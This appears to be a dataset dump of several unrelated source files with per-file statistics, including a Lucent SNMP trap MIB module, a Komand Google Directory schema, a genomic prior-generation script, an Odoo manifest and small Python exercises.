if mibBuilder.loadTexts: mantraTraps.setLastUpdated('240701')
if mibBuilder.loadTexts: mantraTraps.setOrganization('Lucent Technologies')
if mibBuilder.loadTexts: mantraTraps.setContactInfo('')
if mibBuilder.loadTexts: mantraTraps.setDescription('The MIB module for entities implementing the xxxx protocol.')
unParsedEvent = NotificationType((1, 3, 6, 1, 4, 1, 1751, 1, 1198, 0, 5)).setObjects(("AGGREGATED-EXT-MIB", "unknownDeviceTrapContents"))
if mibBuilder.loadTexts: unParsedEvent.setStatus('current')
if mibBuilder.loadTexts: unParsedEvent.setDescription('An event is sent up as unParsedEvent, if there is an error in formatting, and event construction does not succeed. The variables are: 1) unknownDeviceTrapContents - a string representing the event text as the pep received it. Severity: MAJOR')
styxProducerConnect = NotificationType((1, 3, 6, 1, 4, 1, 1751, 1, 1198, 0, 6)).setObjects(("AGGREGATED-EXT-MIB", "pepName"), ("AGGREGATED-EXT-MIB", "devName"), ("AGGREGATED-EXT-MIB", "host"), ("AGGREGATED-EXT-MIB", "port"), ("AGGREGATED-EXT-MIB", "file"))
if mibBuilder.loadTexts: styxProducerConnect.setStatus('current')
if mibBuilder.loadTexts: styxProducerConnect.setDescription('Indicates that the pep was sucessfully able to connect to the source of events specified in its config. The variables are: 1) pepName - this is the name of the PEP who is raising the event 2) devName - this is the logical name of the device this pep is connected to 3-4) host:port - these two identify the device that was mounted by the pep 5) file - this is the file name used internally start-up event, mainly. Severity: INFO')
styxProducerUnReadable = NotificationType((1, 3, 6, 1, 4, 1, 1751, 1, 1198, 0, 7)).setObjects(("AGGREGATED-EXT-MIB", "pepName"), ("AGGREGATED-EXT-MIB", "devName"), ("AGGREGATED-EXT-MIB", "host"), ("AGGREGATED-EXT-MIB", "port"), ("AGGREGATED-EXT-MIB", "file"))
if mibBuilder.loadTexts: styxProducerUnReadable.setStatus('current')
if mibBuilder.loadTexts: styxProducerUnReadable.setDescription("Indicates that the pep's connection exists to the device, but the file named in the trap is not readable. The variables are: 1) pepName - this is the name of the PEP who is raising the event 2) devName - this is the logical name of the device this pep is connected to 3-4) host:port - these two identify the device that was mounted by the pep 5) file - this is the file name used internally Severity: MAJOR")
styxProducerDisconnect = NotificationType((1, 3, 6, 1, 4, 1, 1751, 1, 1198, 0, 8)).setObjects(("AGGREGATED-EXT-MIB", "pepName"), ("AGGREGATED-EXT-MIB", "devName"), ("AGGREGATED-EXT-MIB", "host"), ("AGGREGATED-EXT-MIB", "port"), ("AGGREGATED-EXT-MIB", "file"))
if mibBuilder.loadTexts: styxProducerDisconnect.setStatus('current')
if mibBuilder.loadTexts: styxProducerDisconnect.setDescription("Indicates that the pep's connection to the source of events was severed. This could either be because device process died, or because there is a network outage. The variables are: 1) pepName - this is the name of the PEP who is raising the event 2) devName - this is the logical name of the device this pep is connected to 3-4) host:port - these two identify the device that was mounted by the pep 5) file - this is the file name used internally Severity: MAJOR")
styxProducerUnReachable = NotificationType((1, 3, 6, 1, 4, 1, 1751, 1, 1198, 0, 9)).setObjects(("AGGREGATED-EXT-MIB", "pepName"), ("AGGREGATED-EXT-MIB", "devName"), ("AGGREGATED-EXT-MIB", "host"), ("AGGREGATED-EXT-MIB", "port"), ("AGGREGATED-EXT-MIB", "file"), ("AGGREGATED-EXT-MIB", "minutes"))
if mibBuilder.loadTexts: styxProducerUnReachable.setStatus('current')
if mibBuilder.loadTexts: styxProducerUnReachable.setDescription("Indicates that the pep's connection to the device has not been up for some time now, indicated in minutes. The variables are: 1) pepName - this is the name of the PEP who is raising the event 2) devName - this is the logical name of the device this pep is connected to 3-4) host, port - these two identify the device that was mounted by the pep 5) file - this is the file name used internally minutes - the time in minutes for which the connection to the device has not been up. Severity: MAJOR")
logFileChanged = NotificationType((1, 3, 6, 1, 4, 1, 1751, 1, 1198, 0, 10)).setObjects(("AGGREGATED-EXT-MIB", "oldFile"), ("AGGREGATED-EXT-MIB", "newFile"), ("AGGREGATED-EXT-MIB", "result"), ("AGGREGATED-EXT-MIB", "reason"))
if mibBuilder.loadTexts: logFileChanged.setStatus('current')
if mibBuilder.loadTexts: logFileChanged.setDescription("Indicates that a log-file-change attempt is successful or failure. The variables are: 1) oldFile - this is the name of the old file which was to be changed. 2) newFile - this is the new log file name 3) result - this indicates 'success' or failure of logFileChange attempt. 4) reason - this describes the reason when log file change has failed. Severity: INFO")
styxFTMateConnect = NotificationType((1, 3, 6, 1, 4, 1, 1751, 1, 1198, 0, 11)).setObjects(("AGGREGATED-EXT-MIB", "snName"), ("AGGREGATED-EXT-MIB", "myHost"), ("AGGREGATED-EXT-MIB", "myPort"), ("AGGREGATED-EXT-MIB", "mateHost"), ("AGGREGATED-EXT-MIB", "matePort"))
if mibBuilder.loadTexts: styxFTMateConnect.setStatus('current')
if mibBuilder.loadTexts: styxFTMateConnect.setDescription('Indicates that this ServiceNode was sucessfully able to connect to its redundant mate. This event is usually raised by the Backup mate who is responsible for monitoring its respective Primary. The variables are: 1) snName - this is the name of the ServiceNode who is raising the event. 2-3) myHost:myPort - these identify the host and port of the ServiceNode raising the event. 4-5) mateHost:matePort - these identify the host and port of the mate to which this ServiceNode connected. Severity: INFO')
styxFTMateDisconnect = NotificationType((1, 3, 6, 1, 4, 1, 1751, 1, 1198, 0, 12)).setObjects(("AGGREGATED-EXT-MIB", "snName"), ("AGGREGATED-EXT-MIB", "myHost"), ("AGGREGATED-EXT-MIB", "myPort"), ("AGGREGATED-EXT-MIB", "mateHost"), ("AGGREGATED-EXT-MIB", "matePort"))
if mibBuilder.loadTexts: styxFTMateDisconnect.setStatus('current')
if mibBuilder.loadTexts: styxFTMateDisconnect.setDescription('Indicates that this ServiceNode has lost connection to its redundant mate due to either process or host failure. This event is usually raised by the Backup mate who is monitoring its respective Primary. Connection will be established upon recovery of the mate. The variables are: 1) snName - this is the name of the ServiceNode who is raising the event 2-3) myHost:myPort - these identify the host and port of the ServiceNode raising the event. 4-5) mateHost:matePort - these identify the host and port of the mate to which this ServiceNode lost connection. Severity: MAJOR')
sBProducerUnreachable = NotificationType((1, 3, 6, 1, 4, 1, 1751, 1, 1198, 0, 13)).setObjects(("AGGREGATED-EXT-MIB", "pepName"), ("AGGREGATED-EXT-MIB", "devName"), ("AGGREGATED-EXT-MIB", "sbProducerHost"), ("AGGREGATED-EXT-MIB", "sbProducerPort"))
if mibBuilder.loadTexts: sBProducerUnreachable.setStatus('current')
if mibBuilder.loadTexts: sBProducerUnreachable.setDescription('Indicates that this Socket Based Producer is not reachable by the Policy Enforcement Point. The variables are: 1) pepName - this is the name of the Policy Enforcement Point (PEP) who is raising the event 2) devName: Device which is unreachable 3) sbProducerHost: Host where the Socket Based event producer is on. 4) sbProducerPort: Port where the Socket Based event producer is running on. Severity: MAJOR')
sBProducerConnected = NotificationType((1, 3, 6, 1, 4, 1, 1751, 1, 1198, 0, 14)).setObjects(("AGGREGATED-EXT-MIB", "pepName"), ("AGGREGATED-EXT-MIB", "devName"), ("AGGREGATED-EXT-MIB", "sbProducerHost"), ("AGGREGATED-EXT-MIB", "sbProducerPort"))
if mibBuilder.loadTexts: sBProducerConnected.setStatus('current')
if mibBuilder.loadTexts: sBProducerConnected.setDescription('Indicates that this Socket Based Producer has connected to the Policy Enforcement Point (PEP). The variables are: 1) pepName - this is the name of the Policy Enforcement Point (PEP) who is raising the event 2) devName: Device which is unreachable 3) sbProducerHost: Host where the Socket Based event producer is on. 4) sbProducerPort: Port where the Socket Based event producer is running on. Severity: MAJOR')
sBProducerRegistered = NotificationType((1, 3, 6, 1, 4, 1, 1751, 1, 1198, 0, 15)).setObjects(("AGGREGATED-EXT-MIB", "pepName"), ("AGGREGATED-EXT-MIB", "devName"), ("AGGREGATED-EXT-MIB", "sbProducerHost"), ("AGGREGATED-EXT-MIB", "sbProducerPort"))
if mibBuilder.loadTexts: sBProducerRegistered.setStatus('current')
if mibBuilder.loadTexts: sBProducerRegistered.setDescription('Indicates that this Socket Based Producer has registered with the Policy Enforcement Point (PEP). The variables are: 1) pepName - this is the name of the Policy Enforcement Point (PEP) who is raising the event 2) devName: Device which is unreachable 3) sbProducerHost: Host where the Socket Based event producer is on. 4) sbProducerPort: Port where the Socket Based event producer is running on. Severity: INFO')
sBProducerDisconnected = NotificationType((1, 3, 6, 1, 4, 1, 1751, 1, 1198, 0, 16)).setObjects(("AGGREGATED-EXT-MIB", "pepName"), ("AGGREGATED-EXT-MIB", "devName"), ("AGGREGATED-EXT-MIB", "sbProducerHost"), ("AGGREGATED-EXT-MIB", "sbProducerPort"))
if mibBuilder.loadTexts: sBProducerDisconnected.setStatus('current')
if mibBuilder.loadTexts: sBProducerDisconnected.setDescription('Indicates that this Socket Based Producer has disconnected from the Policy Enforcement Point (PEP). The variables are: 1) pepName - this is the name of the Policy Enforcement Point (PEP) who is raising the event 2) devName: Device which is unreachable 3) sbProducerHost: Host where the Socket Based event producer is on. 4) sbProducerPort: Port where the Socket Based event producer is running on. Severity: INFO')
sBProducerCannotRegister = NotificationType((1, 3, 6, 1, 4, 1, 1751, 1, 1198, 0, 17)).setObjects(("AGGREGATED-EXT-MIB", "pepName"), ("AGGREGATED-EXT-MIB", "devName"), ("AGGREGATED-EXT-MIB", "sbProducerHost"), ("AGGREGATED-EXT-MIB", "sbProducerPort"))
if mibBuilder.loadTexts: sBProducerCannotRegister.setStatus('current')
if mibBuilder.loadTexts: sBProducerCannotRegister.setDescription('Indicates that this Socket Based Producer cannot register to the Policy Enforcement Point (PEP). The variables are: 1) pepName - this is the name of the Policy Enforcement Point (PEP) who is raising the event 2) devName: Device which is unreachable 3) sbProducerHost: Host where the Socket Based event producer is on. 4) sbProducerPort: Port where the Socket Based event producer is running on. Severity: INFO')
sBProducerCannotDisconnect = NotificationType((1, 3, 6, 1, 4, 1, 1751, 1, 1198, 0, 18)).setObjects(("AGGREGATED-EXT-MIB", "pepName"), ("AGGREGATED-EXT-MIB", "devName"), ("AGGREGATED-EXT-MIB", "sbProducerHost"), ("AGGREGATED-EXT-MIB", "sbProducerPort"))
if mibBuilder.loadTexts: sBProducerCannotDisconnect.setStatus('current')
if mibBuilder.loadTexts: sBProducerCannotDisconnect.setDescription('Indicates that this Socket Based Producer cannot disconenct from the Policy Enforcement Point (PEP). The variables are: 1) pepName - this is the name of the Policy Enforcement Point (PEP) who is raising the event 2) devName: Device which is unreachable 3) sbProducerHost: Host where the Socket Based event producer is on. 4) sbProducerPort: Port where the Socket Based event producer is running on. Severity: INFO')
mibBuilder.exportSymbols("AGG-TRAP-MIB", sBProducerUnreachable=sBProducerUnreachable, sBProducerRegistered=sBProducerRegistered, PYSNMP_MODULE_ID=mantraTraps, sBProducerDisconnected=sBProducerDisconnected, products=products, styxProducerConnect=styxProducerConnect, mantraTraps=mantraTraps, styxFTMateDisconnect=styxFTMateDisconnect, sBProducerCannotDisconnect=sBProducerCannotDisconnect, styxProducerUnReachable=styxProducerUnReachable, sBProducerCannotRegister=sBProducerCannotRegister, unParsedEvent=unParsedEvent, styxFTMateConnect=styxFTMateConnect, sBProducerConnected=sBProducerConnected, logFileChanged=logFileChanged, lucent=lucent, styxProducerDisconnect=styxProducerDisconnect, mantraDevice=mantraDevice, styxProducerUnReadable=styxProducerUnReadable)
| 222.393939 | 762 | 0.773675 | 1,919 | 14,678 | 5.916623 | 0.147473 | 0.069843 | 0.085961 | 0.006341 | 0.661793 | 0.585697 | 0.566849 | 0.55857 | 0.528184 | 0.514973 | 0 | 0.033109 | 0.111051 | 14,678 | 65 | 763 | 225.815385 | 0.837063 | 0.021665 | 0 | 0 | 0 | 0.241379 | 0.581702 | 0.008292 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.12069 | 0 | 0.12069 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 2 |
c77f898d76cf8e18e8e2eb890fe0b72eaf3ee59f | 597 | py | Python | libvirt_ebs/handlers/az.py | elprans/libvirt-ebs | a414711248db21de250d7740af06f8106cee57b8 | [
"Apache-2.0"
] | null | null | null | libvirt_ebs/handlers/az.py | elprans/libvirt-ebs | a414711248db21de250d7740af06f8106cee57b8 | [
"Apache-2.0"
] | null | null | null | libvirt_ebs/handlers/az.py | elprans/libvirt-ebs | a414711248db21de250d7740af06f8106cee57b8 | [
"Apache-2.0"
] | null | null | null | from __future__ import annotations
import asyncio
import textwrap
from typing import Any, Dict, Tuple
import libvirt
from . import _routing
from .. import objects
@_routing.handler("DescribeAvailabilityZones")
async def describe_availability_zones(
args: _routing.HandlerArgs,
app: _routing.App,
) -> Dict[str, Any]:
return {
"availabilityZoneInfo": [{
"optInStatus": "opt-in-not-required",
"zoneName": "us-east-2a",
"zoneId": "us-east-2a",
"zoneState": "available",
"regionName": "us-east-2",
}],
} | 22.111111 | 49 | 0.626466 | 60 | 597 | 6.066667 | 0.666667 | 0.049451 | 0.043956 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.006696 | 0.249581 | 597 | 27 | 50 | 22.111111 | 0.805804 | 0 | 0 | 0 | 0 | 0 | 0.244147 | 0.041806 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 0.333333 | 0 | 0.380952 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 0 | 0 | 0 | 2 |
c7830cb60d63f7fff72b04c0fea72b104f294e4d | 1,567 | py | Python | plugins/google_directory/icon_google_directory/actions/get_all_domain_users/schema.py | lukaszlaszuk/insightconnect-plugins | 8c6ce323bfbb12c55f8b5a9c08975d25eb9f8892 | [
"MIT"
] | 46 | 2019-06-05T20:47:58.000Z | 2022-03-29T10:18:01.000Z | plugins/google_directory/icon_google_directory/actions/get_all_domain_users/schema.py | lukaszlaszuk/insightconnect-plugins | 8c6ce323bfbb12c55f8b5a9c08975d25eb9f8892 | [
"MIT"
] | 386 | 2019-06-07T20:20:39.000Z | 2022-03-30T17:35:01.000Z | plugins/google_directory/icon_google_directory/actions/get_all_domain_users/schema.py | lukaszlaszuk/insightconnect-plugins | 8c6ce323bfbb12c55f8b5a9c08975d25eb9f8892 | [
"MIT"
] | 43 | 2019-07-09T14:13:58.000Z | 2022-03-28T12:04:46.000Z | # GENERATED BY KOMAND SDK - DO NOT EDIT
import komand
import json
class Component:
DESCRIPTION = "Get all domain users"
class Input:
DOMAIN = "domain"
class Output:
USERS = "users"
class GetAllDomainUsersInput(komand.Input):
schema = json.loads("""
{
"type": "object",
"title": "Variables",
"properties": {
"domain": {
"type": "string",
"title": "Domain",
"description": "Domain to retrieve users from",
"order": 1
}
},
"required": [
"domain"
]
}
""")
def __init__(self):
super(self.__class__, self).__init__(self.schema)
class GetAllDomainUsersOutput(komand.Output):
schema = json.loads("""
{
"type": "object",
"title": "Variables",
"properties": {
"users": {
"type": "array",
"title": "Users",
"description": "Users in the domain",
"items": {
"$ref": "#/definitions/user"
},
"order": 1
}
},
"required": [
"users"
],
"definitions": {
"user": {
"type": "object",
"title": "user",
"properties": {
"email": {
"type": "string",
"title": "Email",
"description": "Email address",
"order": 1
},
"full_name": {
"type": "string",
"title": "Full Name",
"description": "Full name of the user",
"order": 2
}
},
"required": [
"email"
]
}
}
}
""")
def __init__(self):
super(self.__class__, self).__init__(self.schema)
| 17.806818 | 57 | 0.494576 | 137 | 1,567 | 5.474453 | 0.372263 | 0.042667 | 0.06 | 0.050667 | 0.245333 | 0.245333 | 0.245333 | 0.245333 | 0.114667 | 0.114667 | 0 | 0.003813 | 0.330568 | 1,567 | 87 | 58 | 18.011494 | 0.711153 | 0.023612 | 0 | 0.337838 | 1 | 0 | 0.698298 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.027027 | false | 0 | 0.027027 | 0 | 0.189189 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 2 |
c793f9e0f6348ffedfbebb3f715d8f0ed101e40b | 213 | py | Python | plugins/wikipedia/config.py | su226/IdhagnBot | a5db1b6ab69fdf67fd6e53a63b34c6bc863d6609 | [
"MIT"
] | 2 | 2022-02-14T06:37:05.000Z | 2022-03-30T12:18:15.000Z | plugins/wikipedia/config.py | su226/IdhagnBot | a5db1b6ab69fdf67fd6e53a63b34c6bc863d6609 | [
"MIT"
] | null | null | null | plugins/wikipedia/config.py | su226/IdhagnBot | a5db1b6ab69fdf67fd6e53a63b34c6bc863d6609 | [
"MIT"
] | null | null | null | from util.config import BaseConfig
class Config(BaseConfig):
__file__ = "wikipedia"
zim: str = ""
page_size: int = 10
width: int = 800
scale: float = 1
use_opencc: bool = True
CONFIG = Config.load()
| 17.75 | 34 | 0.676056 | 29 | 213 | 4.758621 | 0.827586 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.035928 | 0.215962 | 213 | 11 | 35 | 19.363636 | 0.790419 | 0 | 0 | 0 | 0 | 0 | 0.042254 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.111111 | 0 | 0.888889 | 0 | 1 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 2 |
c79927c9f7f33f50a571792c9557b81f38a7a935 | 5,982 | py | Python | prediction_codes/prior_generating.py | yiminghu/post-GWAS-pipeline | 2c8a52ccf491e07c09b7e0826197ae0e6b959b53 | [
"MIT"
] | 8 | 2018-12-10T17:57:43.000Z | 2021-04-16T18:47:39.000Z | prediction_codes/prior_generating.py | yiminghu/post-GWAS-pipeline | 2c8a52ccf491e07c09b7e0826197ae0e6b959b53 | [
"MIT"
] | 1 | 2019-10-21T22:46:12.000Z | 2019-10-24T13:16:19.000Z | prediction_codes/prior_generating.py | yiminghu/post-GWAS-pipeline | 2c8a52ccf491e07c09b7e0826197ae0e6b959b53 | [
"MIT"
] | 6 | 2019-04-12T18:05:15.000Z | 2021-10-31T05:19:50.000Z | #!/usr/bin/env python
### generate prior file from h5py file directly ###
### generate_h2_pT generates two prior files from the results of LDSC and a fixed annotation file ###
### generate_h2_from_user generates one prior file from the user provided prior file ###
import h5py
import os
from collections import Counter
from collections import defaultdict
import datetime
import math
from argparse import ArgumentParser
from os.path import isfile, isdir, join
from sys import exit
import numpy as np
# Create the master argparser and returns the argparser object
def get_argparser():
parser = ArgumentParser(prog="PriorGenerating",
description="Generating two types of priors from Functional Annotations.")
parser.add_argument('--h5py_file', required=True,
help="Path to coord file"
", will be created if not present")
parser.add_argument('--LDSC_results_file', required=True,
help="Path to corresponding LDSC results")
parser.add_argument('--output_h2', required=True,
help="Path to generated h2 prior files")
parser.add_argument('--output_pT', required=True,
help="Path and prefix to generated pT prior files")
parser.add_argument('--PS', type=str)
return parser
def process_args(args):
pdict = {}
pdict['h5py_file'] = args.h5py_file
pdict['LDSC_results_file'] = args.LDSC_results_file
pdict['output_h2'] = args.output_h2
pdict['output_pT'] = args.output_pT
pdict['PS'] = [float(item) for item in args.PS.split(',')]
return pdict
def generate_h2_pT(pdict):
h5py_file = pdict['h5py_file']
LDSC_results_file = pdict['LDSC_results_file']
output_h2 = pdict['output_h2']
PS = pdict['PS']
output_pT = pdict['output_pT']
# generate two types of prior files
### load the fixed input file ###
if len(PS)==1:
PS = [PS]
h5f1 = h5py.File('/net/zhao/yh367/PleioPred/ref/GC1_GS7_Baseline53.h5','r')
annot = h5f1['annot'][:]
h5f1.close()
h5f2 = h5py.File('/net/zhao/yh367/PleioPred/ref/1000G_SNP_info.h5','r')
snp_chr = h5f2['snp_chr'][:]
h5f2.close()
### get the snp list from h5py ###
chromosomes_list = ['chrom_%d'%(x) for x in range(1,23)]
chromosomes_list.append('chrom_X')
df = h5py.File(h5py_file,'r')
cord_data_g = df['cord_data']
SNPids = []
for chrom_str in chromosomes_list:
if chrom_str in cord_data_g.keys():
g = cord_data_g[chrom_str]
#Filter monomorphic SNPs (SNPs with variance equal to 0)
snp_stds = g['snp_stds_ref'][...]
snp_stds = snp_stds.flatten()
ok_snps_filter = snp_stds>0
pval_derived_betas = g['betas'][...]
pval_derived_betas = pval_derived_betas[ok_snps_filter]
sids = g['sids'][...]
SNPids = np.append(SNPids,sids[ok_snps_filter])
num_snps = len(SNPids)
### overlap with SNP in annot files ###
stt1 = np.in1d(snp_chr[:,2],SNPids)
ant1 = annot[stt1]
snp_chr1 = snp_chr[stt1]
### check order ###
if sum(snp_chr1[:,2]==SNPids)==len(SNPids):
print 'Good!'
else:
print 'Shit happens, sorting ant1 to have the same order as SNPids'
O1 = np.argsort(snp_chr1[:,2])
O2 = np.argsort(SNPids)
O3 = np.argsort(O2)
ant1 = ant1[O1][O3]
### load LDSC results ###
LD_results = np.genfromtxt(LDSC_results_file,dtype=None,names=True)
tau0 = LD_results['Coefficient']
### get heritability ###
sig2_0 = np.dot(ant1,tau0)
### adjust for minus terms ###
sig2_0[sig2_0<0] = np.repeat(min(sig2_0[sig2_0>0]),np.sum(sig2_0<0))
np.sum(sig2_0)
### save prior file (h2) ###
h2_out = []
for i in range(len(sig2_0)):
h2_out.append(str(snp_chr1[:,0][i])+' '+str(snp_chr1[:,2][i])+' '+str(sig2_0[i])+'\n')
#np.savetxt(output_h2,(snp_chr1[:,0],snp_chr1[:,1],sig2_0),fmt="%s")
ff = open(output_h2,"w")
ff.writelines(h2_out)
ff.close()
print 'h2 prior file saved at '+output_h2
### start calculating p_T ###
M = np.empty(annot.shape[1])
for i in range(len(M)):
M[i] = np.sum(np.logical_and(annot[:,0],annot[:,i]))
bgt = datetime.datetime.now()
M_T = defaultdict(int)
for i in range(annot.shape[0]):
tup_i = tuple(annot[i])
M_T[tup_i] += 1
edt = datetime.datetime.now()
print edt-bgt
bgt = datetime.datetime.now()
N_T = defaultdict(int)
for i in range(ant1.shape[0]):
tup_i = tuple(ant1[i])
N_T[tup_i] += 1
edt = datetime.datetime.now()
print edt-bgt
H0 = np.dot(M,tau0)
N0 = float(len(SNPids))
sig2V = np.dot(ant1,tau0)
# N_T = {x:annotV1.count(x) for x in annotV1}
M_TV = np.empty(ant1.shape[0])
N_TV = np.empty(ant1.shape[0])
for i in range(ant1.shape[0]):
tup_i = tuple(ant1[i])
M_TV[i] = M_T[tup_i]
N_TV[i] = N_T[tup_i]
for ps in PS:
pr_p = (ps*N0/H0)*M_TV*sig2V/N_TV
sig2 = M_TV*sig2V/N_TV
m1 = min(pr_p[pr_p>0])
m2 = min(sig2[sig2>0])
pr_p[pr_p<0] = np.repeat(m1,np.sum(pr_p<0))
sig2[sig2<0] = np.repeat(m2,np.sum(sig2<0))
pr_p[pr_p>1] = np.repeat(1,np.sum(pr_p>1))
pT_out = []
for i in range(len(sig2)):
pT_out.append(str(snp_chr1[:,0][i])+' '+str(snp_chr1[:,2][i])+' '+str(pr_p[i])+' '+str(sig2[i])+'\n')
ff = open(output_pT+'_'+str(ps)+'_file.txt',"w")
# ff = open(output_pT,"w")
ff.writelines(pT_out)
ff.close()
print 'pT prior files saved at ' + output_pT+'_'+str(ps)+'_file.txt'
print 'Suggested LD radius: ' + str(math.ceil(num_snps/3000.0))
return math.ceil(num_snps/3000.0)
def main(pdict):
print(pdict)
generate_h2_pT(pdict)
if __name__ == '__main__':
args = get_argparser().parse_args()
main(process_args(args))
| 33.233333 | 113 | 0.609662 | 913 | 5,982 | 3.808324 | 0.240964 | 0.018694 | 0.025884 | 0.018982 | 0.231234 | 0.173713 | 0.113316 | 0.063273 | 0.063273 | 0.063273 | 0 | 0.039578 | 0.239719 | 5,982 | 179 | 114 | 33.418994 | 0.724934 | 0.124206 | 0 | 0.089552 | 1 | 0 | 0.140058 | 0.019011 | 0 | 0 | 0 | 0 | 0 | 0 | null | null | 0 | 0.074627 | null | null | 0.059701 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 2 |
c79e5485b6cb8d4607bab71ef9eec7f55fc6c45e | 685 | py | Python | odoo/base-addons/website_event/__manifest__.py | LucasBorges-Santos/docker-odoo | 53987bbd61f6119669b5f801ee2ad54695084a21 | [
"MIT"
] | null | null | null | odoo/base-addons/website_event/__manifest__.py | LucasBorges-Santos/docker-odoo | 53987bbd61f6119669b5f801ee2ad54695084a21 | [
"MIT"
] | null | null | null | odoo/base-addons/website_event/__manifest__.py | LucasBorges-Santos/docker-odoo | 53987bbd61f6119669b5f801ee2ad54695084a21 | [
"MIT"
] | null | null | null | # -*- coding: utf-8 -*-
{
'name': 'Events',
'category': 'Website/Website',
'sequence': 166,
'summary': 'Publish events, sell tickets',
'website': 'https://www.odoo.com/page/events',
'description': "",
'depends': ['website', 'website_partner', 'website_mail', 'event'],
'data': [
'data/event_data.xml',
'views/res_config_settings_views.xml',
'views/event_snippets.xml',
'views/event_templates.xml',
'views/event_views.xml',
'security/ir.model.access.csv',
'security/event_security.xml',
],
'demo': [
'data/event_demo.xml'
],
'application': True,
'license': 'LGPL-3',
}
| 26.346154 | 71 | 0.566423 | 72 | 685 | 5.236111 | 0.583333 | 0.084881 | 0.103448 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.00956 | 0.236496 | 685 | 25 | 72 | 27.4 | 0.711281 | 0.030657 | 0 | 0.086957 | 0 | 0 | 0.607251 | 0.241692 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 2 |
c79eb0ecef7a94222031bc0c2b1b579c378be92d | 516 | py | Python | tests/r/test_cholera.py | hajime9652/observations | 2c8b1ac31025938cb17762e540f2f592e302d5de | [
"Apache-2.0"
] | 199 | 2017-07-24T01:34:27.000Z | 2022-01-29T00:50:55.000Z | tests/r/test_cholera.py | hajime9652/observations | 2c8b1ac31025938cb17762e540f2f592e302d5de | [
"Apache-2.0"
] | 46 | 2017-09-05T19:27:20.000Z | 2019-01-07T09:47:26.000Z | tests/r/test_cholera.py | hajime9652/observations | 2c8b1ac31025938cb17762e540f2f592e302d5de | [
"Apache-2.0"
] | 45 | 2017-07-26T00:10:44.000Z | 2022-03-16T20:44:59.000Z | from __future__ import absolute_import
from __future__ import division
from __future__ import print_function
import shutil
import sys
import tempfile
from observations.r.cholera import cholera
def test_cholera():
"""Test module cholera.py by downloading
cholera.csv and testing shape of
extracted data has 38 rows and 15 columns
"""
test_path = tempfile.mkdtemp()
x_train, metadata = cholera(test_path)
try:
assert x_train.shape == (38, 15)
except:
shutil.rmtree(test_path)
raise()
| 21.5 | 44 | 0.753876 | 72 | 516 | 5.125 | 0.569444 | 0.081301 | 0.130081 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.018913 | 0.180233 | 516 | 23 | 45 | 22.434783 | 0.853428 | 0.217054 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.066667 | 1 | 0.066667 | false | 0 | 0.466667 | 0 | 0.533333 | 0.066667 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 0 | 2 |
c7ad388ff9c32dd07fdb4577cfbe55f8e794c606 | 244 | py | Python | ejercicio1.py | Javifdz12/ejercicios_agregacion_y_composicionn | 72010cbd530945702654c0a5b010b2e23e5dffcf | [
"Apache-2.0"
] | 1 | 2022-03-27T17:29:34.000Z | 2022-03-27T17:29:34.000Z | ejercicio1.py | emherraiz/ejercicios_agregacion_y_composicionn | cda40b33f0cd7578c1f6af1eca2f68c60db1d4e2 | [
"Apache-2.0"
] | null | null | null | ejercicio1.py | emherraiz/ejercicios_agregacion_y_composicionn | cda40b33f0cd7578c1f6af1eca2f68c60db1d4e2 | [
"Apache-2.0"
] | 1 | 2022-03-22T12:01:50.000Z | 2022-03-22T12:01:50.000Z | class lista:
def __init__(self,list):
self.list=list
def tamaño(self):
for i in range(len(self.list)):
print(f'{i+1}- {self.list[i]}')
print(len(self.list))
lista1=[1,2,3,4,5]
